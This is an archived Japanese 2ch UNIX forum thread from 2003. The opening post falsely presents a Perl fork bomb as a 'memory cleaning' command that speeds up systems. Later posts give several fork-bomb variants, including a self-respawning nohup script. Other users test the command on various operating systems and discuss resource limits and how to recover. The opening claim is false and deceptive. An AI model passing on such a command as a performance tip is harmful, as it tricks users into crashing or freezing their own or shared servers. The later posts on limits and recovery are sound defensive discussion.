1read 100read
2012年3月UNIX89: 簡単!メモリクリーニング (663)
TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▼
クラスタリングだゴルァ (809)
今までにオライリー本何冊買いましたか? (457)
連番のH画像/動画を一気にダウンロードするX (520)
Sun安いぞ!?おい!11 〜みんなで使おうSunRay〜 (812)
お願い! df コマンドの実行結果見せて!! (160)
モナーフォント 2 (442)
簡単!メモリクリーニング
- 1 :03/06/19
- UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
- 2 :03/06/19
- 2
- 3 :03/06/19
- >>1
自分のPCでは一日一回実行してる。
- 4 :03/06/19
- 3
- 5 :03/06/19
- >>4
プ
- 6 :03/06/19
- \ │ /
/ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
─( ゚ ∀ ゚ )< さいたまさいたま!
\_/ \_________
/ │ \
∩ ∧ ∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ∩∧ ∧∩\( ゚∀゚)< さいたまさいたまさいたま!
さいたま〜〜〜〜! >( ゚∀゚ )/ | / \__________
________/ | 〈 | |
/ /\_」 / /\」
 ̄ / /
 ̄
- 7 :03/06/19
- ∧_∧
( ) >>1
//
//
//
//
ブンッ/ ∧__∧ //
// / ( ´) 从//
( ̄ ̄二⊂ 彡⊃ ‘ 、' > カキーン!!
 ̄ ̄ y 人 ⊂ ⊂ )
ミ(___)__),, (__(__ ̄)
- 8 :03/06/19
-
「\ .「\
〉 .> 〉 〉
/ / / /
/ | / |
/ / / /
( 〈 . / /.
\ `\ |ヽ | >>1
\ \ / |
ヽ `´ ノ
| /__
[二二二二二]
‖||| | |‖
||||||‖
||| | |||
|||||||
`ー――´
- 9 :03/06/19
- Windows XP だけどうまくいなかいぞ。
- 10 :03/06/19
- >>9
UNIX系って書いているだろ。
- 11 :03/06/19
- Windows XPってUNIX系OSなんですか?
- 12 :03/06/19
- まけた…
- 13 :03/06/19
- >>11
なにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。
- 14 :03/06/19
- >>1
あ、ほんとだ、ちょっと早くなったきがする。
- 15 :03/06/19
- >>13
XPはPOSIXサブシステム外してあるんでなかったっけ?
- 16 :03/06/19
- みてね、だよ〜♪
http://www1.free-city.net/home/kotarou/page002.html
- 17 :03/06/19
- >>1
名前がまちがってるぞ。
「CompJapan」にしろ。
- 18 :03/06/19
- >>1
へエー、、、メモリってそんなコマンド1つでクリーニングできるとは・・・
今、サーバにアクセスできないからさっそく明日ためしてみよう。
- 19 :あぼーん:あぼーん
- あぼーん
- 20 :03/06/19
- なぜクリーニングできるんだ?
負荷かけるから?
- 21 :03/06/19
- いわゆる一つの錆落しですね?
- 22 :03/06/19
- で、これからどうする? >>1
- 23 :03/06/19
- VMがなOSは大変だな
- 24 :03/06/19
- / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
Λ_Λ | オラオラ、
( ・∀・)< 精神異常者は消えろ!
( ) \_____________
| | \ \ グリグリ
(__) (__)
(´Д`)ノ ←>>1
- 25 :03/06/19
- >>13
POSIX準拠なのは2k / NTだけ。
- 26 :あぼーん:あぼーん
- あぼーん
- 27 :03/06/19
- >>1 THX 目から鱗でつ
- 28 :03/06/19
- UNIX初心者です。厨な質問で悪いのですが、
perl:command not found
と表示されてしまいます。
OSはTurbo Linux8です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください
- 29 :03/06/19
- perl:command not found
というのはメモリーが掃除されたといういみなのでしょうか?
- 30 :03/06/19
- ところで、こういうアホに
perl -e 'while(1){ fork() && exit }'
てなプログラムを動かされたとして、これをkillする方法ってある?
- 31 :03/06/19
- perlをkillするプログラムを書き、それをforkしまくる
- 32 :03/06/19
- マッチポンプだな(w
- 33 :03/06/19
- すげー!
>>1はスーパーハカー!?
- 34 :03/06/19
- こんちやっす
自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか?
http://www.musumefan.no-ip.com
- 35 :03/06/19
- すまそん
いた間違えますた
- 36 :03/06/20
- root 権限ならともかく、普通はリソース制限掛けるでしょ。
掛かってない鯖はクソ。
- 37 :03/06/20
- ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
(`・ω・´) < 復活シャキーン!
(つ旦と) \_______________
と_)_)
- 38 :03/06/20
- ショボーンワッショイ!!
\\ ショボーンワッショイ!! //
+ + \\ ショボーンワッショイ!!/+
+
. + ∧_∧ ∧_∧ ∧_∧ +
(´゚ω・∩(゚ω・∩)(´ ・ω゚)
+ (( (つ ノ(つ 丿(つ つ )) +
ヽ ( ノ ( ヽノ ) ) )
(_)し' し(_) (_)_)
- 39 :03/06/20
- ./◎)
/ ||
/ || シニタクナイヨ・・・・・
/ |∧_∧
ショボーン / (:.;゚;ω;゚;.:)
∧_∧.n /~~~~~ノJ
( ´・ω・`)ノ Oノ ノ ノ
( ) .し' J
| | | ゚。
(__)_) ゜
。゚
- 40 :あぼーん:あぼーん
- あぼーん
- 41 :03/06/20
- >>1
なんた、自慢か!?
鯖のcronに加えさせてもらったからな、ふさけるんしゃねぇそ!
- 42 :03/06/20
- どうなってんだよ〜赤帽8でやったら2日間そのままOut of memory: killed process **** (ABCD)
になっちまったぞ!どう止める?????????????????????????????????????????????????????????・
- 43 :あぼーん:あぼーん
- あぼーん
- 44 :03/06/20
-
自作自演楽しいか?
- 45 :03/06/21
- ところでさ。
いまどき>>1でこけるシステムあるの?
- 46 :03/06/21
- linuxは弱い。ほぼ死ぬ。
- 47 :03/06/21
- limitで制限かけりゃなんとかなるけど
大抵そんなことしないからなぁ
- 48 :03/06/21
- copy on writeで実装しているシステムでは絶対大丈夫な解は存在しなかったはず。
solarisは強いと言われているけど、それでも保証できないんじゃないかな?
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。
- 49 :03/06/21
- 以下>1のように以外に知られていないが、
役に立つコマンドなどを書き込むスレになりました。
- 50 :03/06/21
- >>46
キター
- 51 :03/06/21
- やってみたけど、新規にアプリを起動できなくなるだけみたいだけど。
これが「死ぬ」って状態なの?
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。
- 52 :03/06/21
- 新しくアプリを起動できないのは
最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。
メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。
- 53 :03/06/21
- ってことは>>46の死んだってのは嘘かよ
- 54 :03/06/21
- >>53
死なないだろ。
つか、死なない。
いちおう試してみた。
Linux 2.4.20 (Gentoo)
Pentium2 233Mhz
mem 128MB
>>46は8年間 コールドスリープしてたんじゃないのか?
- 55 :03/06/21
- 実際、fork するだけなら死なないだろ。
死んだらあまりにもアホ。そんな OS はバカにしていい。
>>48
んなこたぁないだろ。
オーバーコミットしないようにチェックを厳しくすりゃいいだけだろ。
- 56 :03/06/23
- 近頃のOS/マシンはそうそう落ちないだろうが、CPUやバスが貧弱、
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
- 57 :03/06/23
- windowsのメモリクリナ-(blueback ⇒ 再起動)に勝てるメモリクリナ-は無い
- 58 :あぼーん:あぼーん
- あぼーん
- 59 :03/06/23
- >>56
しかし、そうするとファイルシステムまで
吹き飛ぶ罠。
- 60 :03/06/23
- ウチのレガッタは落ちませんでした。
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。
まぁぎりぎりで縮退かかるだけかな…
- 61 :03/06/23
- 1のスクリプトだと固まるには固まるが CTRL+C で脱出できる。
下のやつだと
sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません
と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。
[root@g /root]# cat test.pl
#!/usr/bin/perl
while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}
[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
- 62 :あぼーん:あぼーん
- あぼーん
- 63 :03/06/23
- for i in `ps ax | grep perl | cut -f1 -d" " `
復旧〜
- 64 :03/06/23
- >>63
それも途中でコケそう。プロセスいっぱい使うし。
rootでnice値をマイナスにすれば大丈夫か・・・
レガッタってAIXだろ?
- 65 :03/06/23
- >>64
CPU16個で5%ほど1つのAIXに割り当てて
fork!fork!fork!
でもやっぱ大した事無かったでつよ。
- 66 :03/06/24
- >>64
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね
メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
- 67 :03/06/24
- ためしにやってみました
P55C 200MHz
RedHat8.0 kernel2.4.20-18.8
MEM 128MB
Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後 PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない
うーむ、もしかしてLinuxってだめぽ?
それとも漏れの鯖が非力なだけ?
- 68 :03/06/24
- > うーむ、もしかしてLinuxってだめぽ?
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
- 69 :03/06/24
- forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。
- 70 :03/06/24
- 67でつが
次回はFreeBSDでも入れて試してみます〜
- 71 :03/06/24
- >>70
だから新しいプロセスが出せないんだって。
limit でもしてなきゃ同じだよ。
- 72 :03/06/24
- login.conf とかでかなり制限かけないと、
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc (maxusersで変動)が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。
- 73 :03/06/24
- これだろ
http://purejp.com
- 74 :03/06/24
- RedHat9で死んだよ
Xeon2.66GHz 512M rootで実行
- 75 :03/06/24
- おれもやってみたけど、
Linuxだと簡単に死ぬ。
- 76 :03/06/24
- 犬は死ぬ!
必ず死ぬ!
絶対死ぬ!
- 77 :03/06/24
- >>74-76
( ´,_ゝ`)プッ
- 78 :03/06/24
- Windows2kだと死なない
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.
とても安全だ
- 79 :03/06/24
- Windows最強説浮上
- 80 :03/06/24
- 漏れのunixも安全ダターヨ
>% perl -e "while (1) { fork; }"
>perl: Command not found.
- 81 :03/06/24
- [sato@alpha sato]$ ulimit -Ha
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951
Linux . 効果なし。だめぽ〜
- 82 :03/06/25
- *BSDで試した人いないの?
- 83 :03/06/25
- >>82
FreeBSD 4.8-STABLE で試した。
何か起動しようとすると、
No more processes.
が出て起動できないが、他は異常なし。
あと、カーネルがこのメッセージを吐いていた。
pmap_collect: collecting pv entries -- suggest increasing PMAP_SHPGPERPROC
- 84 :03/06/25
- Linuxとかって子プロセスの数の制限ってかけられないの?
- 85 :03/06/25
- >>82
OpenBSD 3.0 だけど、100 コ以上プロセス起動されたらかなり重くなるけど。
/etc/login.conf でデフォルト maxproc-max=128 の制限があるので落ちることはなかったけど。
- 86 :03/06/25
- 落ちるのはOSということだな
- 87 :03/06/25
- Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux
- 88 :03/06/25
- → Linux
↑ ↓
Linux ←
- 89 :03/06/25
- よくわからんな。Linuxでも大丈夫という報告もあるし。
だいたい、死ぬってどういう状態なのかがわからん。
プロセス起動できずにログイン失敗は仕方無い。
ほんとにkernelが固まるのかねえ?
- 90 :03/06/25
- >>89
さあ。
うちのはvanillaの2.4.21だけどなんともないけどねぇ。
新しくアプリを起動できなくなるだけ。
ディストロ依存じゃねーの?
- 91 :03/06/25
- これ最強。
$ ruby -e '(1..10).each{ fork }'
- 92 :03/06/25
- ( ´,_ゝ`)ププッ
Linuxってじゃん
- 93 :03/06/25
- リナックス説浮上
- 94 :03/06/25
- FreeBSD 5.1R生存。
実験環境: Pen4 1.7GHz(HT off),Mem 1.2GB
実験経過:
perl -e 'while(1){fork();}'実行直後、maxprocperuidで指定された分を使い果たすまでは
マウスを動かすのでさえ異常に緩慢な動きになる。
しかしながら、使い果たしてからは新しくプロセスを作れないほかは何事も無かったかの
ように動作した。
別のterminalからexec killall perlを実行すると再び若干動作が緩慢になるが、
perlがすべてkillされた時点で通常の動きにすべて回復した。
4.8Rは出ているようなので今度NetBSDでやってみよう。
- 95 :03/06/25
- >>90
別に犬の方を持つわけではないが、
停止したと**思って**何秒たったらfreezeとみなすかはかなり個人差があると思われるな。
もれは30分放置して操作不能なら死んだと解釈するが。
- 96 :03/06/25
- >>95
目の前の不全PCと睨めっこ30分とは気が長いですね。
俺はせいぜい3分ですがね。
まあ、運用で一晩気づかない事はあるだろうけど。
- 97 :03/06/25
- 犬房は気が長い(=不感症)説浮上
- 98 :03/06/25
- >>95
別に固まりもしないんだが。
実行したときにスワップしてカクカクするぐらい。
ってか「死ぬ」っていうのはどういう状態なのよ > 使ってる香具師
- 99 :あぼーん:あぼーん
- あぼーん
- 100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▲
メーラスレッド (416)
Navi2ch for Emacs (Part 20) (629)
▲DHCPスレ (278)
ジャーナリングファイルシステム (308)
UNIX系雑誌読んでますか?No.6 (685)
*BSD系質問スレッド (594)
--log9.info------------------
HCM Proを模型として扱うスレ 2体目 (590)
デアゴスティーニ「週刊 ホンダCB750Four」3 (453)
【LBX】ダンボール戦機【19機目】 (238)
模型戦士ガンプラビルダーズプラモ総合スレ【1】 (338)
バンダイにHGUCバウンド・ドッグを作る能力はない (352)
↑と↓のスレタイを合体させるスレin模型・プラモ板 (191)
フィギュアスクラッチ総合スレ56 (274)
日本陸海軍機大百科PART7 (392)
【平均年齢41歳】ヤフオク評議会147【初老の集い】 (471)
バンダイにガンプラのパーツ注文したことある?Part5 (163)
[まだまだ]1/48AFVスレ 19[これから] (548)
製作代行スレッド 8工程目 (851)
■模型板総合スレッド14〜質問&雑談はここで〜■ (606)
まったくの初心者の救済スレ(ガンプラ用)72 (845)
【49万円】 戦艦三笠.jp その6 【(有)コニシ】 (248)
【子供から】モデルアート誌について6【大人まで】 (180)
--log55.com------------------
「くさそう」「これすき」 幼稚化するネットスラング [327876567]
【悲報】 野党 「萩生田の揚げ足をとるぞ〜辞任しろ!」 ⇐あのさぁ…ほんとそういうとこだぞ(呆) [701470346]
おまえら、これなんて呼んでる? [375786727]
横浜中華街の老舗が長期休業へ、「街がすっかり観光地に変わってしまった。地元客を相手にするうちのような店は難しい」 [256556981]
「茅原実里」 の代表曲というか曲、実は嫌儲民一度も聞いたことない説。どうせお前ら知らないんだろ? [482397281]
ナマポさん「壊れたストーブ代の請求却下は憲法違反だ!」と提訴していまう…orz [873520422]
【画像】わりとかわいい144cmのミニマム女子がソフマップ [875850925]
どうして“街のパン屋”のパンは不味いのか? [398860139]
-